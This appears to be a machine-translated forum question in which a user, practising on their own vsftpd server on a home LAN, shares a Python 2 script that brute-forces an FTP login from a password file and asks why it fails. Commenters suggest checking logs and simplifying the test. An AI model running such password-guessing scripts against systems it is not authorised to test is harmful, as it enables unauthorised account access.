,我嘗試使用vsftpd的自學蟒蛇我在我的筆記本電腦打開FTP服務器(Ubuntu的12.04)。是(對於嘗試着想)NINJA
123
的配置,我可以使用 ftp localhost
筆記本電腦本身,我選擇的用戶名和密碼登錄後。 在我的電腦上(在局域網中)我打開瀏覽器,輸入ftp://192.168.1.108/
。當我得到一個彈出式用戶名和密碼,我輸入上面的細節 - 所以 - 一切工作FTP明智。Python的bruteforcer的FTP不工作
我寫了這個嘗試和突破中:
import socket
import ftplib
port=21
ip="192.168.1.108"
file1="passwords"
try:
s=socket.socket()
s.connect((ip,port))
print "port",port,"is open"
moshe=open(file1,'r')
for line in moshe.readlines():
password=line.strip("\n")
print password
try:
ftp = ftplib.FTP(ip)
ftp.login("NINJA",password)
print ("THE PASSWORD IS:",password)
break
except ftplib.error_perm:
print "Incorrect"
moshe.close()
except:
print "port",port,"is closed"
似乎由於工作搶
你能檢查vsftpd的日誌?有沒有任何信息表明腳本試圖登錄? –
簡化您的示例。擺脫密碼文件,並嘗試直接與'ftp.login(「NINJA」,「123」)'連接。 –
@UliKöhler我會很樂意這樣做,如果你們會有一種足以告訴我,它位於 Robᵩ我改變了它,但仍不起作用 – Giladiald